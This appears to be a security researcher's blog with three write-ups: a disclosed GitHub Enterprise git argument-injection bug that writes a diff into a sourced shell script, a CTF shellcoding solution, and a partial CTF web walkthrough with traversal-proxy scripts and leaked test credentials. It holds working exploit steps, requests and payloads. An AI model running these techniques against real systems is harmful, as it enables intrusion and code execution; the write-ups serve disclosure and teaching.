Digging into the valid_authenticity_token? method in rails, another way to bypass the per form CSRF is by using the global token, as there is a code path to make existing forms backwards compatible while transitioning.

def valid_authenticity_token?(session, encoded_masked_token) # :doc:
    if encoded_masked_token.nil? || encoded_masked_token.empty? || !encoded_masked_token.is_a?(String)
        return false
    end

    begin
        masked_token = Base64.strict_decode64(encoded_masked_token)
    rescue ArgumentError # encoded_masked_token is invalid Base64
        return false
    end

    # See if it's actually a masked token or not. In order to
    # deploy this code, we should be able to handle any unmasked
    # tokens that we've issued without error.

    if masked_token.length == AUTHENTICITY_TOKEN_LENGTH
        # This is actually an unmasked token. This is expected if
        # you have just upgraded to masked tokens, but should stop
        # happening shortly after installing this gem.
        compare_with_real_token masked_token, session

    elsif masked_token.length == AUTHENTICITY_TOKEN_LENGTH * 2
        csrf_token = unmask_token(masked_token)

        compare_with_real_token(csrf_token, session) ||
        valid_per_form_csrf_token?(csrf_token, session)
    else
        false # Token is malformed.
    end
end

The global CSRF token is quite often handed out to the client using the csrf_meta_tags helper, but GitHub had really locked down everything and after a lot of searching the was no place that I could find that was leaking it. GitHub had even gone so far as raising an error if the per form CSRF was not setup correctly, as that could leak the global token.

I spent quite a bit of time searching for a way to bypass this, the way the token was generated by rails it didn’t really matter where the form was created so long as I could get it to use a path such as wiki/Home/_revert/HEAD/--help. After a lot of searching and digging very deep within both GHE and rails code I came up empty handed. I did find a few archived html pages on github.com indicating that the global token used to be handed out just not any more. GitHub stores the global CSRF token for a user session in the database, so I decided to just grab it from there continue on and could come back to how to find it later.

Exploit

I installed and ran execsnoop from perf-tools on the GHE server to have a closer look at the exact git command that was run when doing a revert and saw that it was in the form git diff-tree -p -R commit1 commit2 -- Home.md. The diff-tree git command has an option --output allowing you to write the output to a file instead of outputting the results, so using HEAD as the first commit and --output=/tmp/ggg as the second would write the lastest diff of a file to /tmp/ggg.

So I pushed a new branch called --output=/tmp/ggg to the wiki repo, then did a POST to user/repo/wiki/Home/_revert/HEAD/--output%3D%2Ftmp%2Fggg using the authenticity_token I’d grabbed from the database. Looking on the server the file /tmp/ggg had been created with the output of the diff!

9ea5ef1f10e9ff1974055d3e4a60bec143822f9d
diff --git b/Home.md a/Home.md
index c3a38e1..85402bc 100644
--- b/Home.md
+++ a/Home.md
@@ -1,4 +1,3 @@
 Welcome to the public wiki!

-3
+2

The next thing to do was to work out what to do with it. The file could be written anywhere the git user had access to, and the content at the end of the file was fairly controllable. After a lot more searching I found a few writeable env.d directories (such as /data/github/shared/env.d) which contained some setup scripts. The files in these directories ended up being sourced when the services started up or when commands some were run:

  for i in $envdir/*.sh; do
    if [ -r $i ]; then
      . $i
    fi
  done

Since doing a . script.sh doesn’t require the file to executable, and bash will continue running a script after it encounters errors, this meant that if the diff that was written contained some valid shell script then it would be executed!

So now I had everything (kind of) that was required to exploit the bug.

Grab a users CSRF token from the database
Create a wiki page containing ; echo vakzz was here > /tmp/ggg
Edit the wiki page and add a new line of text: # anything
Clone the wiki repo
Push a new branch name with our injected flag: git push origin master:--output=/data/failbotd/shared/env.d/00-run.sh

Use burp or curl to post to user/repo/wiki/Home/_revert/HEAD/--output%3D%2Fdata%2Ffailbotd%2Fshared%2Fenv%2Ed%2F00-run%2Esh using the authenticity_token from the database

POST /user/repo/wiki/Home/_revert/HEAD/--output%3D%2Fdata%2Ffailbotd%2Fshared%2Fenv%2Ed%2F00-run%2Esh HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: user_session=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Length: 65

authenticity_token=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%3d

Check the server to see that file has been created with our diff:

$ cat /data/failbotd/shared/env.d/00-run.sh
69eb12b5e9969ec73a9e01a67555c089bcf0fc36
diff --git b/Home.md a/Home.md
index 4a7b77c..ce38b05 100644
--- b/Home.md
+++ a/Home.md
@@ -1,2 +1 @@
-; echo vakzz was here > /tmp/ggg`
-# anything
\ No newline at end of file
+; echo vakzz was here > /tmp/ggg`
\ No newline at end of file

Run the file that sources our diff and check it worked

./production.sh
./production.sh: 1: /data/failbotd/current/.app-config/env.d/00-run.sh: 69eb12b5e9969ec73a9e01a67555c089bcf0fc36: not found
diff: unrecognized option '--git'
diff: Try 'diff --help' for more information.
./production.sh: 3: /data/failbotd/current/.app-config/env.d/00-run.sh: index: not found
./production.sh: 4: /data/failbotd/current/.app-config/env.d/00-run.sh: ---: not found
./production.sh: 5: /data/failbotd/current/.app-config/env.d/00-run.sh: +++: not found
./production.sh: 6: /data/failbotd/current/.app-config/env.d/00-run.sh: @@: not found
./production.sh: 7: /data/failbotd/current/.app-config/env.d/00-run.sh: -: not found
./production.sh: 2: /data/failbotd/current/.app-config/env.d/00-run.sh: -#: not found
./production.sh: 3: /data/failbotd/current/.app-config/env.d/00-run.sh:  No: not found
./production.sh: 4: /data/failbotd/current/.app-config/env.d/00-run.sh: +: not found
./production.sh: 11: /data/failbotd/current/.app-config/env.d/00-run.sh:  No: not found
$ cat /tmp/ggg
vakzz was here

At this stage I decided to report the issue to GitHub, even though I had no way to bypass the per form CSRF token. The underlying issue was still pretty critical, and it’s possible that GitHub could released a patch in the future that accidentally leaked the global token or change the route to accept query parameters which would open them up to being vulnerable.

Within 15 minutes GitHub had triaged the bug and let me know that they were looking into it. A few hours later they responded again confirming the underlying issue and that they could not find a way to bypass the per form token, mentioning that it was a severe issue that they may had just been lucky with their CSRF setup. I sent through a summary of the methods I’d tried for bypassing the per form as well as potential spots that it might be possible to leak it, and confirmed that I thought it was pretty unlikely to be exploitable.

So the bug itself was critical, but without it being exploitable I really had no idea how GitHub was going to land when deciding a bounty, or even if there would be a bounty at all. I ended up being very pleasantly surprised.

Timeline

July 25, 2020 01:48:02 AEST - Bug submitted via HackerOne
July 25, 2020 02:05:21 AEST - Bug was triaged by GitHub
July 25, 2020 09:18:28 AEST - Underlying issue was confirmed
August 11, 2020 - GitHub Enterprise 2.21.4 released fixing the issue

High: An attacker could inject a malicious argument into a Git sub-command when executed on GitHub Enterprise Server. This could allow an attacker to overwrite arbitrary files with partially user-controlled content and potentially execute arbitrary commands on the GitHub Enterprise Server instance. To exploit this vulnerability, an attacker would need permission to access repositories within the GHES instance. However, due to other protections in place, we could not identify a way to actively exploit this vulnerability. This vulnerability was reported through the GitHub Security Bug Bounty program.
September 11, 2020 02:52:15 AEST - $20,000 bounty awarded

movcode - Tasteless CTF 2020

2020-10-05T10:20:00+00:00

Brrr bing bing bing bing da da da.

nc okboomer.tasteless.eu 10601

Update: We were asked about the environment this challenge is running on. It does not affect the solvability, but here is this information nonetheless: Linux 5.4.0-1025-aws / Ubuntu 20.04.1 LTS

chall.py

425 Pts, 14 solves, pwn, shellcode

I quite like doing shellcoding challenges, so was pretty excited to see one in Tasteless CTF as it’s been a while since I’ve done one.

After downloading the python script and having a look you can see that it reads in our assembly code, validates that each line matches the regex ^mov\s[\w\[\],\s]*;?$, then adds it to a template. It’s then compiled and run twice, the first time the output needs to be TASTE and the second time the output needs to be LESS!.

The template used is the following:

.intel_syntax noprefix

.text
.globl  _start

_start:
    xor rcx, rcx
    mov rdx, 0x1000
    mov rsp, 0x7ffffffff000
u_no_env:
    push rax
    dec rdx
    cmp rdx, 0x00
    jnz u_no_env
    mov rsp, 0x7ffffffff000

    {}
    mov rax, 1
    syscall

    mov rdi, 0x42
    mov rax, 0x3c
    syscall

This first nulls out 0x1000 bytes of the stack, runs our code, then does a write and an exit syscall.

Looking again at the regex again ^mov\s[\w\[\],\s]*;?$ it doesn’t allow for all mov variants, as you cannot use *+- which rules out things like mov rax, [rbx + 0x100].

I was originally thinking about using something like mov rax, 0x90909090909090 and getting rip to jump into the middle of the instruction, allowing ops other than mov to be used. The issue is that the template ends with an exit syscall and the is no ret so we can’t put an address on the stack to redirect the control flow, the stack is non-executable, and the text section is not writable.

The next thing was to try and find some randomness, if something was different in between runs then it could potentially be used. The stack was nulled out which would be the goto place, but looking in gdb there are a few other places:

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /vagrant/tasteless20/movcode/tmp/a.out
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /vagrant/tasteless20/movcode/tmp/a.out
0x00007ffff7ffb000 0x00007ffff7ffe000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]

I tried dumping the vdso and vsyscall between runs, but the files were identical. For some reason gdb was unable to access the vvar section so I wrote a quick something to print it out based on the challenge template:

.intel_syntax noprefix

.text
.globl  _start

_start:
    xor rcx, rcx
    mov r12, 0x3000
    mov rdx, 1
    mov rdi, 1
    mov rsi, 0x00007ffff7ffb000
u_no_env:
    mov rax, 1
    syscall
    dec r12
    inc rsi
    cmp r12, 0x00
    jnz u_no_env

    mov rdi, 0x42
    mov rax, 0x3c
    syscall

Compiling it and running the same way as the challenge (it disables aslr with setarch) showed that there was some differences between each run:

With this knowledge we can use an instruction such as mov al, byte ptr [0x00007ffff7ffb08b] to load a byte into rax that will be different each run.

This random byte can be used as an index to a lookup table with an instruction like mov dl, byte ptr 0x401028[rax], if every even byte was one value and odd byte was another then there would be a 50/50 chance of either being used.

To create the lookup table I used 128 mov al, 0xba instructions, as in hex it converts to 0xb0ba. This allows us to load something at offset 0xb0 one time and 0xba the other. If we create two mov instructions and encode an address into the second argument, we can randomly pick one using mov esi, 0x40107e[r12] where r12 is either 0xb0 or 0xba ( since mov, 0x123456789 is 10 bytes long).

After finishing off the remaining registers for the write syscall and finding the correct offsets in the binary, it took a couple of goes for the strings to randomly show in the right order but then we get the flag:

RUN ONCE ...
GOT RIGHT RESPONSE!

RUN TWICE ...
THAT WAS NICE!

GG. WE GIVE U FLAG:
tstlss{vdso+vvar_still_delivers_in_2020}

Commented final payload:

# lookup table of 0xb0bab0bab0ba
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;
mov al, 0xba;

# addresses of strings to print
mov r12,0x40114000000000;
mov r12,0x40114a00000000;

# strings to print
mov r12,0x45545341540000;
mov r12,0x215353454C0000;
mov rax, 0;

# load random byte
mov al, byte ptr [0x00007ffff7ffb08b];

# load 0xb0 or 0xba
mov dl, byte ptr 0x401028[rax];
mov r12, rdx;
mov rdi, 1;
mov rdx, 5;

# load the string address
mov esi, 0x40107e[r12];

# string length
mov edx, 5;

BountyPay - HackerOne’s H1-2006 CTF

2020-06-07T23:50:28+00:00

It all started with a tweet:

Oh no, it seems @martenmickos has lost his login details for BountyPay and needs us to help recover them! After following the links in the tweet we arrive at a landing page https://bountypay.h1ctf.com showing a logo and linking to two other pages:

Customers - https://app.bountypay.h1ctf.com
Staff - https://staff.bountypay.h1ctf.com

After having a look around and a quick test of these two sites, there didn’t seem to be anything immediately obvious on the customer site and the only thing I noticed on the staff site was that the username field could be pre-filled using a query parameter, eg https://staff.bountypay.h1ctf.com/?template=login&username=vakzz would return <input name="username" class="form-control" value="vakzz">.

As there was not much to go on, the next step was to do a bit of scanning. I fired up dirsearch to see what could be found:

It quickly showed that there was an accessible git repo! Having a look at .git/config gave the upstream url for the repo:

$ curl https://app.bountypay.h1ctf.com/.git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = https://github.com/bounty-pay-code/request-logger.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master

I also tried a few tools such as git-dumper to try and extract some objects, but it seemed to be a very bare repo and nothing could be recovered.

The other accessible file was .git/packed-refs which gave a SHA for refs/remotes/origin/master:

$ curl https://app.bountypay.h1ctf.com/.git/packed-refs
# pack-refs with: peeled fully-peeled sorted
b6e669482e32b4052bb10b7a4ac962deea9ac97c refs/remotes/origin/master

Visiting https://github.com/bounty-pay-code/request-logger revealed only one file logger.php which looked like it could be very helpful:

<?php

$data = array(
  'IP'        =>  $_SERVER["REMOTE_ADDR"],
  'URI'       =>  $_SERVER["REQUEST_URI"],
  'METHOD'    =>  $_SERVER["REQUEST_METHOD"],
  'PARAMS'    =>  array(
      'GET'   =>  $_GET,
      'POST'  =>  $_POST
  )
);

file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND   );

Interestingly the head commit was different to the one we found above. Searching GitHub for b6e669482e32b4052bb10b7a4ac962deea9ac97c revealed that it was part of another repo at https://github.com/vuln-tr4in1ng-projects/website_framework/commit/b6e669482e32b4052bb10b7a4ac962deea9ac97c

The repo description was Framework for our websites [^FLAG^0DACF0DC38B6E3FFBA62FB91EA4CCC22^FLAG^] and the commit message looked promising, but after searching for vulntraining it seemed like this might have been part of an older ctf by CTFchallenge.

Grabbing the contents of bp_web_trace.log showed four entries (also indicated that it probably wasn’t live or it would have had a bunch more from my previous attempts):

$ curl https://app.bountypay.h1ctf.com/bp_web_trace.log
1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==

For CTFs I quite often use https://kt.gy to quickly encoding/decoding things, and chucking in the base64 strings from above revealed:

{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}

Great! So we have a username, password, and some sort of challenge answer. Using the credentials gets us one step further, but now there is another prompt asking for a 2FA password!

Trying the challenge answer of bD83Jk27dQ from the logs did not work, that would be too easy I guess! Looking at the request via Burp we can see that there is another parameter challenge. This looked like a MD5 hash of some sort, and it changed each time we attempted to log in. I initially tried a few different MD5 reverse sites to see if they had a match for any of the hashes but nothing was found. If challenge was just a MD5 hash, maybe we could just supply our own?

$ echo -n 12345 | md5sum
827ccb0eea8a706c4c34a16891f84e7b -

Using the Chrome DevTools to change the challenge input field to 827ccb0eea8a706c4c34a16891f84e7b and using 12345 as the password worked! We are shown a dashboard and an empty list of transactions to process:

After trying out a few dates without seeing any transactions, I had a look at the request being made:

GET /statements?month=01&year=2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9


HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 177

{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/statements?month=01&year=2020","data":"{\"description\":\"Transactions for 2020-01\",\"transactions\":[]}"}

Decoding the cookie with https://kt.gy revealed the following content:

{ "account_id": "F8gHiqSdpK", "hash": "de235bffd23df6995ad4e0930baac1a2" }

Interestingly, the server still responded as though we were logged in if we changed the account_id but not if we changed the hash, and the account_id was being used directly in the url field. For instance setting the account to vakzz returned:

{
  "url": "https://api.bountypay.h1ctf.com/api/accounts/vakzz/statements?month=01&year=2020",
  "data": "[\"Invalid Account ID\"]"
}

Visiting https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=01&year=2020 returned ["Missing or invalid Token"] so it seemed like the /statements endpoint was proxying our request to the API server and adding a token of some sort.

It was getting a bit annoying manually changing the cookie each time, so I wrote a quick python script to make it a bit easier:

#!/usr/bin/env python3

import requests
import json
import urllib.parse
import sys
from pwn import b64e

data = {
    "account_id": sys.argv[1],
    "hash": "de235bffd23df6995ad4e0930baac1a2"
}

cookies = {
    "token": b64e(str.encode(json.dumps(data)))
}

r = requests.get(
    "https://app.bountypay.h1ctf.com/statements?year=2020&month=01",
    cookies=cookies
)

print(r.text)

This allowed me to quickly test a few things, and I soon discovered that the endpoint was vulnerable to directory traversal allowing any endpoint to be hit:

$ python ./proxy.py 'F8gHiqSdpK#'
{
  "url": "https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK#/statements?month=01&year=2020",
  "data": "{\"account_id\":\"F8gHiqSdpK\",\"owner\":\"Mr Brian Oliver\",\"company\":\"BountyPay Demo \"}"
}

$ python ./proxy.py '../../../../../../#'
{
  "url": "https://api.bountypay.h1ctf.com/api/accounts/../../../../../../#/statements?month=01&year=2020",
  "data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>BountyPay | Login</title>\n    <link href=\"/css/bootstrap.min.css\" rel=\"stylesheet\">\n</head>\n<body>\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-sm-6 col-sm-offset-3\">\n            <div class=\"text-center\" style=\"margin-top:30px\"><img src=\"/images/bountypay.png\" height=\"150\"></div>\n            <h1 class=\"text-center\">BountyPay API</h1>\n            <p style=\"text-align: justify\">Our BountyPay API controls all of our services in one place. We use a <a href=\"/redirect?url=https://www.google.com/search?q=REST+API\">REST API</a> with JSON output. If you are interested in using this API please contact your account manager.</p>\n        </div>\n    </div>\n</div>\n<script src=\"/js/jquery.min.js\"></script>\n<script src=\"/js/bootstrap.min.js\"></script>\n</body>\n</html>"
}

This also led to the discovery of https://api.bountypay.h1ctf.com/redirect?url= which seemed to be an open redirect at first, but after some testing, it had a whitelist only allowing certain URLs including https://www.google.com/search?q=, https://staff.bountypay.h1ctf.com/, and https://api.bountypay.h1ctf.com/.

This is where I ran into a bit of a wall and got stuck for a while, so I spent a bit more time scanning and looking for more information.

I noticed that the source for https://www.bountypay.h1ctf.com originally contained a link to https://twitter.com/bountypayh but it was then changed to https://twitter .com/bountypayhq. Searching for @bountypayhq on twitter revealed this tweet:

Decoding the barcode gave the same text as underneath it STF:8FJ3KFISL3 (I just used a QR scanner on my phone). Looked very promising but using it in the cookie revealed nothing.

While scanning the api with ./dirsearch.py -u 'https://api.bountypay.h1ctf.com/api/' -E I discovered https://api.bountypay.h1ctf.com/api/staff, but hitting this directly and through the proxy returned an error saying Missing or invalid Token.

Next I had a look to see if there were any other subdomains, I normally start with https://crt.sh as it’s quick and easy. Hitting https://crt.sh/?q=%25.bountypay.h1ctf.com revealed that there was also a domain https://software.bountypay.h1ctf.com! Visiting this returned a 401 error saying You do not have permission to access this server from your IP Address. This domain was also whitelisted in the api redirect! Maybe the proxy would be allowed to access it?

$ python ./proxy.py '../../../../redirect?url=https://software.bountypay.h1ctf.com/#'
{
  "url": "https://api.bountypay.h1ctf.com/api/accounts/../../../../redirect?url=https://software.bountypay.h1ctf.com/#/statements?month=01&year=2020",
  "data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Software Storage</title>\n    <link href=\"/css/bootstrap.min.css\" rel=\"stylesheet\">\n</head>\n<body>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-sm-6 col-sm-offset-3\">\n            <h1 style=\"text-align: center\">Software Storage</h1>\n            <form method=\"post\" action=\"/\">\n                <div class=\"panel panel-default\" style=\"margin-top:50px\">\n                    <div class=\"panel-heading\">Login</div>\n                    <div class=\"panel-body\">\n                        <div style=\"margin-top:7px\"><label>Username:</label></div>\n                        <div><input name=\"username\" class=\"form-control\"></div>\n                        <div style=\"margin-top:7px\"><label>Password:</label></div>\n                        <div><input name=\"password\" type=\"password\" class=\"form-control\"></div>\n                    </div>\n                </div>\n                <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n            </form>\n        </div>\n    </div>\n</div>\n<script src=\"/js/jquery.min.js\"></script>\n<script src=\"/js/bootstrap.min.js\"></script>\n</body>\n</html>"
}

Great! we have a new login page, but unfortunately that was all I could find to access. I decided it was time to try and scan the new domain through the proxy. As I’d been doing quite a bit of scanning, I stared looking for some alternatives to dirsearch, it did the job most of the time but wasn’t amazing. My teammate corb3nik from OpenToAll mentioned that he normally uses ffuf with some of the raft word lists so I decided to download and give that a try.

I wrote another quick python script using flask to help with proxying the proxy, that way I could point ffuf to the flask server and have it handle the requests:

#!/usr/bin/env python3
import requests
import json
import urllib.parse
from pwn import b64e

from flask import Flask
app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
    print(path)
    data = {
        "account_id": "../../../../redirect?url={}".format(
            urllib.parse.quote("https://software.bountypay.h1ctf.com/{}#".format(path))),
        "hash": "de235bffd23df6995ad4e0930baac1a2"
    }

    cookies = {
        "token": b64e(str.encode(json.dumps(data)))
    }

    r = requests.get(
        "https://app.bountypay.h1ctf.com/statements?year=2020&month=04", cookies=cookies,
    )
    text = r.text
    code = 200
    if "404" in text:
        code = 404
    elif "403" in text:
        code = 403
    elif "401" in text:
        code = 401
    elif "402" in text:
        code = 402
    return r.text, code


if __name__ == '__main__':
    app.run()

Running ./ffuf -u http://localhost:5000/FUZZ -w ./raft-large-directories.txt ticked away and found the normal js, css, image asset directories but nothing else. Once again I was stuck with not much left to try.

The next day I decided to rerun all the scans to see if there was something I had missed, and came across https://staff.bountypay.h1ctf.com/js/website.js while scanning with ./ffuf -u https://staff.bountypay.h1ctf.com/js/FUZZ.js -w ./raft-large-directories.txt -fc 302 (the fc option filtered out the 302 redirects to the login page):

$(".upgradeToAdmin").click(function () {
  let t = $('input[name="username"]').val();
  $.get("/admin/upgrade?username=" + t, function () {
    alert("User Upgraded to Admin");
  });
}),
  $(".tab").click(function () {
    return (
      $(".tab").removeClass("active"),
      $(this).addClass("active"),
      $("div.content").addClass("hidden"),
      $("div.content-" + $(this).attr("data-target")).removeClass("hidden"),
      !1
    );
  }),
  $(".sendReport").click(function () {
    $.get("/admin/report?url=" + url, function () {
      alert("Report sent to admin team");
    }),
      $("#myModal").modal("hide");
  }),
  document.location.hash.length > 0 &&
    ("#tab1" === document.location.hash && $(".tab1").trigger("click"),
    "#tab2" === document.location.hash && $(".tab2").trigger("click"),
    "#tab3" === document.location.hash && $(".tab3").trigger("click"),
    "#tab4" === document.location.hash && $(".tab4").trigger("click"));

This lead to two new endpoints, https://staff.bountypay.h1ctf.com/admin/upgrade?username= and https://staff.bountypay.h1ctf.com/admin/report?url=. The first returned ["Only admins can perform this"] and the other always returned ["Report received"]. I performed quite a bit of testing of the reporting api, but was unable to confirm that it doing anything, for instance when using something like http://requestbin.net/dns it didn’t even resolve the host.

I discovered a few more valid template parameters by scanning with ./ffuf -u 'https://staff.bountypay.h1ctf.com/?template=FUZZ' -w ./raft-large-directories.txt -fs 0 -r (the fs option removed responses with a size of 0 and r followed redirects) which were admin, home, and ticket. They all redirected to the login template except https://staff.bountypay.h1ctf.com/?template=admin which always returned No Access to this resource. I also found that the template parameter could be sent as an array and it still worked eg: https://staff.bountypay.h1ctf.com/?template[]=login rendered the login page.

I finally came back around to retesting software.bountypay.h1ctf.com, it was the logical next step and I still hadn’t found anything of use or interest. I modified my proxy to also print out the whole response, and started scanning again. Then the following was printed:

{
  "url": "https://api.bountypay.h1ctf.com/api/accounts/../../../../redirect?url=https%3A//software.bountypay.h1ctf.com/uploads%23/statements?month=04&year=2020",
  "data": "<html>\n<head><title>Index of /uploads/</title></head>\n<body bgcolor=\"white\">\n<h1>Index of /uploads/</h1><hr><pre><a href=\"../\">../</a>\n<a href=\"/uploads/BountyPay.apk\">BountyPay.apk</a>                                        20-Apr-2020 11:26              4043701\n</pre><hr></body>\n</html>\n"
}

An upload directory with a file called BountyPay.apk in it, great! Looking at the file size in the directory listing I realized why I had missed it before, 4043701 contained 404 so I had filtered it out as a 404 error in the first scan :( Lesson learned, next time I’ll match on the full error message!

So finally a way to proceed! I downloaded the APK from http://software.bountypay.h1ctf.com/uploads/BountyPay.apk and uploaded it to http://www.javadecompilers.com/apk, resulting in a zip file with the source code and resources. I also uploaded it to https://appetize.io/upload to have a quick test of what the app looked like:

I opened the source with IntelliJ IDEA and had a look around. There were four activities, Main, PartOne, PartTwo and PartThree. It seemed like it was using firebase to log events and fetch information, and PartThreeActivity had some very interesting bits of code:

        String str = "aG9zdA==";
        this.directory = str;
        this.decodedDirectory = Base64.decode(str, 0);
        this.refDirectory = new String(this.decodedDirectory, StandardCharsets.UTF_8);
        this.database = FirebaseDatabase.getInstance().getReference();
        this.childRef = this.database.child(this.refDirectory);
        String str2 = "WC1Ub2tlbg==";
        this.directoryTwo = str2;
        this.decodedDirectoryTwo = Base64.decode(str2, 0);
        this.refDirectoryTwo = new String(this.decodedDirectoryTwo, StandardCharsets.UTF_8);
        this.childRefTwo = this.database.child(this.refDirectoryTwo);
        String str3 = "header";
        this.headerDirectory = str3;
        this.childRefThree = this.database.child(str3);

 //   <SNIP>

        SharedPreferences settings = getSharedPreferences(KEY_USERNAME, 0);
        String str = "";
        String host = settings.getString("HOST", str);
        String token = settings.getString("TOKEN", str);
        Log.d("HOST IS: ", host);
        Log.d("TOKEN IS: ", token);
        try {
            HttpURLConnection conn = (HttpURLConnection) new URL(host).openConnection();
            conn.setReadTimeout(10000);
            conn.setConnectTimeout(15000);
            conn.setRequestMethod("POST");
            conn.setDoInput(true);
            conn.setDoOutput(true);
            Builder builder = new Builder().appendQueryParameter("firstParam", paramValue);
            StringBuilder sb = new StringBuilder();
            sb.append("X-Token: ");
            sb.append(paramValue);
            Log.d("HEADER VALUE AND HASH ", sb.toString());

Decoding the base64 strings give host and X-Token, seemed promising as we were looking for a token for the api server! I know that firebase can often be configured incorrectly (or have no security configured at all), so I wanted to see if I could connect to it directly and just bypass the android app.

I search the code for firebaseio and found the following in strings.xml:
